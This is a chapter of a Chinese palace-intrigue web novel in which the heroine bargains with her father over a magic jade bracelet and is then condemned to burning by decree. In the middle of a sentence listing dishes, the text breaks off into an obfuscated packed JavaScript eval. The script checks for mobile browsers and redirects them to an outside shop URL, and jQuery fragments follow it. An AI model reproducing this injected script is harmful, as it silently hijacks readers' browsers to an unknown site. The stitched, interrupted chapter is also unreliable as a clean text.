等到青黛再睁开眼，刺目的光晃得她眯起了眼。


    适应了片刻才看清，自己竟被粗铁链绑在紫宸殿中央的金属架子上。


    立柱捆住她的双脚，横着的柱子束缚着她的双臂。


    而她的脖颈，也扣着一个铁链子。


    她是站着睡了一大觉。


    铁链勒得手腕和脚腕生疼、


    动弹一下，金属摩擦的哗啦声就在空旷的大殿里回荡。


    青黛抬眼望去，对面的龙椅上坐着谢云岫。


    他正他穿着绣金蟒袍，翘着双腿，手里把玩着那只玉镯。


    指尖在镯身上轻轻摩挲，眼神里满是异常兴奋光。


    “谢云岫？”青黛叹了一口气。


    她的劳累感消退了不少，现下有力气说话了。


    见青黛醒了，谢云岫眼底涌出兴奋的光，声音里带着得意和急切，“青黛「神女」，醒得倒是及时，睡得可还好？你真是越来越让我刮目相看了！正好，士别三日，你也该对我刮目看看，这能救天下人的宝贝，如今在谁手里，啊哈哈哈……”


    谢云岫的声音从来没有这么开朗，爽朗过。


    谢云岫盯着青黛，双手将一对玉镯攥得更紧，“快说！这镯子，就是活泉的根吧？有了它，就能随意引活泉出来，是不是？那活泉，就是你解毒方的法宝吧？”


    青黛懵懂地望着他，整个人异常淡然，声音更是平静无波，“是。活泉的源头，全在这对玉镯里。”


    “好！好得很！”谢云岫声音尖锐道。


    青黛意识到，现在被困着的人虽然是她自己，但主动权其实不在谢云岫手上。


    表面看，她是处于弱势的一方，实际上正好相反——


    有所求者便是授人以柄。


    谢云岫故作悠闲起身，缓步向前。


    龙袍上金丝金鳞的，却难掩眼里更贪婪的光，


    “这样，你把活泉的用法给我，要什么条件，我都答应你。金银珠宝、良田美宅，哪怕是让你做个闲散公主，都成！”


    青黛轻轻仰起头，目光扫过谢云岫的脸，“若我不给你呢？”


    “你应该知道，你逃不出我的手心，这不是你乖乖回来找我吗？我有的是办法将你救下来的那些人，一个个的再……你不需要我说的太明白吧？”


    青黛噗嗤一笑，就像在说一件无关紧要的事，“你要是那样做，我也帮不了你啊。谢云岫，我有个条件，你若是答应我，我就把活泉献给你。”


    谢云岫猛地向前一步，急切吼道，“说——你想当女皇，我也可以考虑！”


    青黛再一笑，语气轻盈，“女皇？又累又不讨好？我不要……功名利禄？我也不要。你得答应我，从此不再往水里投毒石，不再用毒害人，还要放了所有人：秦当归、梁既白、姚家的人，楚宅的人，还有皇后、太子、淑怡贵妃、三皇子……让他们都恢复自由，再也不被你辖制。”


    谢云岫脸上的笑意瞬间淡了，他摩挲着玉镯，沉着道，“放了他们？留一条活命……倒也不是不行。但你得把活泉完完全全给我，不仅要教我引泉的法子，还得让这镯子认我为主，往后只有我、唯有我！能调用活泉。”


    青黛沉默片刻，望着殿顶的梁木，听明白了这话的意思。


    想起那些被活泉救醒的百姓，想起母亲的笑容，最终缓缓点头，“我答应你。只要你说话算话，放了所有人，不再害人，活泉……我便给你。”


    谢云岫闻言，立刻笑出声，将玉镯举到眼前晃了晃，“哈哈哈！好啊！好！我看你比谢雪芍还有几分像我呢！早这样多好！来人，先去把皇后、淑怡贵妃他们带到偏殿候着，等我指令，就放他们走！”


    殿外的侍卫应了声，脚步声渐渐远去。


    青黛却闭上眼，心口忽然一阵发紧。


    不仅要换众人自由，更要护好这活泉，护好天下人。


    这或许是最后的机会，但这也是唯一的机会。


    谢云岫攥着玉镯，身子前倾，眼神里满是急切，他不再掩饰，“快说，怎么才能让玉镯认我为主，调用活泉？”


    青黛缓缓抬眼，声音平静却带着几分郑重，“这玉镯认善不认恶。要催动它，得先积功德，也就是说，唯有救人命，帮人解决困难，让受助者真心感念，功德才会融进玉镯，慢慢唤醒它的力量。”


    “我明白了，怪不得你总是做善事，我还以为你沽名钓誉，为邀善名呢！原来是这样……嗯，有道理！”谢云岫大喜而笑，忽而又皱起眉，“等等！不对，这玉镯如此珍贵，难道……光救人就够了？万一没效果怎么办？”


    “谢云岫，我给你讲个故事吧，也是个传说。”青黛顿了顿，像在回忆遥远的往事。


    谢云岫表情疑惑，但还是点了点头。


    “从前有位贤者，他走遍四方，治病救人，从不求回报。有人嘲笑他傻，说救再多陌生人也换不来好处，可他依旧坚持，他说，「人这一生，能让多人脱离苦难、成其义行，便是最珍贵的事。」”


    她顿了顿，继续道，“后来，贤者为了护着一群百姓，被恶人所困……被误会，被污名，被打压，都没有怨言，他也没有怪那些百姓。在最危难时，为这些人挺身而出，牺牲了自己。却在死后，亮起星光般的光芒。


    那光芒不仅驱散了恶人，还让周围的病痛、灾祸都消失了。人们说，那是昊天在赏他的善，让他的义如星辰般照亮大地！连他留下的器物，都沾了这份光，唯有心怀善念、积累功德的人，才能用它造福众生。”


    谢云岫听得入了神，蹙着眉问道，：“这个贤者叫什么？”


    “他叫，「一」。”青黛垂下了眸子。


    谢云岫点点头，“我明白了，因为他叫「一」，也就是「义」，所以，救的人越多越好，就算被误会，活泉也接纳这个功德的……”


    青黛点头，强压下心头的波澜，“你若真想要活泉，就得按我说的做——先放了所有人，再用玉镯救那些还在受苦的百姓……若你敢阳奉阴违，哪怕积了些微德，玉镯也绝不会认你。”


    谢云岫盯着青黛的眼睛，见她神色坦然，竟没察觉异样，只琢磨着传说里的星光，嘴角渐渐勾起，“好！我信你一次！来人，去，立刻放人！”


    次日清晨，谢云岫便迈着大步走进紫宸殿，还没见到人影，就听见了爽朗的笑声。


    他已将玉镯做成了坠饰，佩戴在腰间，脸上满是得意，“哎呀，好女儿，你说的法子果然有用！我今早去城外接济流民，救了几十个人，玉镯真的微微发热了，而且我驱动它，竟然有了朱色雾气发出来，看来用不了多久，它就能彻底认我为主！”


    青黛脸色苍白而平静，只淡淡问，“你答应我的事，何时兑现？我知道，你还没有放人。”


    谢云岫眼底现出狡黠的光，啧啧两声，摇着头，一脸坏笑，“还真是什么都瞒不住你。为父，还有些佩服你了！不错，没在谢府白活一场！”


    青黛知道，谢云岫是想拖时间。


    不会轻易放人，他想看到满意的结果。


    只是，青黛不确定，能否自如的隔空操控这个玉镯。


    她是在献出活泉，想要从身体和生活里剥离活泉，青黛自己也不知道方法。


    但对方显然信了，“这样，我教你如何驱动活泉吧，你若能够启动泉水，就放人！”


    谢云岫自然欣喜，青黛以假传暗号，暗自催动活泉，谢云岫却信以为真。


    内心，却静静地和活泉沟通，第一次真心地对活泉说，“求你救救他们吧！”


    青黛不知道活泉能不能知道她的心声，但实心去求。


    “来人呐，先将青黛放下来，好生安顿。这几天，要拿最好的给她，山珍海味，要应有尽有！”谢云岫着人将青黛从架上取下来，又给她安排了几个使女，太监供她使唤。


    紫宸殿根本就被当做一个杂货铺了。


    “那……我想小鸡炖蘑菇，清蒸鳜鱼，还要份爊菜蒸鸭，上次吃的时候，鸭油渗进菜里香得很……”青黛还真的点起来菜，那模样就像是十几岁刁蛮任性的小姑娘，眼睛亮了亮，又接着说，“再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381857|178135||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来盘蟹酿橙吧，蟹肉拌着橙香最是清爽；还有酥黄独，用芋头做的那个，裹着糖霜甜滋滋的。对了，汤要决明兜子，先前听人说清肝又好喝，今日倒想试试……还有，乳糖真雪，煿金煮玉，蜜煎金橘，水晶脍，拨霞供，萝菔面，金玉羹，瓜齑，十般糖，花饧……先这些吧，可以吗，父亲大人？”


    青黛俏皮一笑，说话的语气，竟然让谢云岫有些动容。


    谢云岫诧异地望着青黛，眼里的怀疑神色淡了很多，内心倒是升起一丝对这个即将被他烧死的孩子的怜惜之情。


    想着，也活不了多久了，不如对她好一点吧。


    毕竟，父女一场，也略略补过内心对几个子女的疏离感带来的心里亏欠和压抑，


    “哎，你这孩子，难为你了，说到底，你也才是个十七岁的孩子不是么！你想吃什么，就弄什么！李内官，过来！”


    吩咐内侍尽量满足青黛的所有要求，好生照看着。


    他明日再来。


    还未等到明日，下午申时，谢云岫便又来看青黛，“好了！我得到活泉了！我看到了，神仙画面，太好了！真的太好了！”


    青黛虽然满心疑惑，但还是露出惊讶的神色，道，“好啊，恭喜监国大人！不知父亲，可否满足女儿的要求啊，放人！”


    “急什么？”谢云岫走到她面前，俯身盯着她，笑容突然冷了下来，“人我会放，皇后、太子他们此刻已经在宫门外候着了，我说话算话。但有件事，你得清楚，所有皇子都没了威胁，这皇位，自然该由我来坐……而且，一玉不能侍奉二主……有我，你不能活。”


    青黛的身体顿了顿，放下手中的玉匙子，眼底却没了波澜，“什么理由杀我？”


    “这还不简单！因为你是「妖女」啊。”谢云岫嗤笑一声，伸手拂过她的脸颊，“你也别怪为父狠心，我也是没办法的办法！天下人都知道……你能引活泉，若你活着，哪天再用这本事蛊惑人心，我这帝位怎么坐得稳？这玉镯子再去认你做主人，我怎么办？不是白忙活一场？但你放心，杀了你一个，我绝不会再动其他人。用你一人的命，换所有人平安，值。”


    青黛突然惨笑出声，笑声带着几分悲凉，又带着几分释然，“好！用我的命，换众生的命，确实值了。谢云岫，你记住，若你日后敢违背此诺，再开杀戒，就算再害一人，这活泉顿时化为硫磺火湖……绝不会饶你。”


    谢云岫懒得跟她多辩，转身往外走，“你安心等着便是，吃好最后一顿饭，三日后午时三刻，就是你的死期。”


    不过半个时辰，汴梁城的城墙、巷口、市集牌坊上，全被盖着官府大印的告示贴满。


    连角落都没放过。


    告示上墨字浓黑如漆，开篇便斥：


    「查楚氏青黛，实乃祸乱朝纲之妖女！


    其善用邪术操控全城水源，暗中投毒污染，致百姓饮后昏聩。


    更以妖言蛊惑民心，煽动民乱，妄图颠覆朝局！


    复设「青记」售其细甜，名为惠民，实则饕餮聚敛；


    所制糕饼暗掺邪物，诱民成瘾，以固其惑！


    ……」


    文末附长篇檄文，条条罪状罗列分明。


    从「私藏异宝」到「勾结乱党」，桩桩件件皆冠罪证之名；


    从「修炼邪术」到「煽动民乱」，每一条都刻意夸大；


    落款处鲜红官印盖得重重，透着不容置喙的狠厉。


    未过半日，一道杀气凛然的圣旨传遍全城：


    「查妖女青黛，心性歹毒，施邪术祸乱民生、祸乱朝纲。


    束民心智，榨民脂膏，犯上作乱，罪大恶极！


    现判焚刑，于三日后午时三刻午门行刑。


    全城百姓须赴场观刑。


    若有推诿不至、私下议论者，一律按逆贼同党治罪，绝不宽宥！」


    ***


    有道是：墨云遮巷陌，落雁噪昏天。众口皆哀祷，潜龙速起渊。


    （创作于2025/10/25，万福泉源于晋江文学城首发）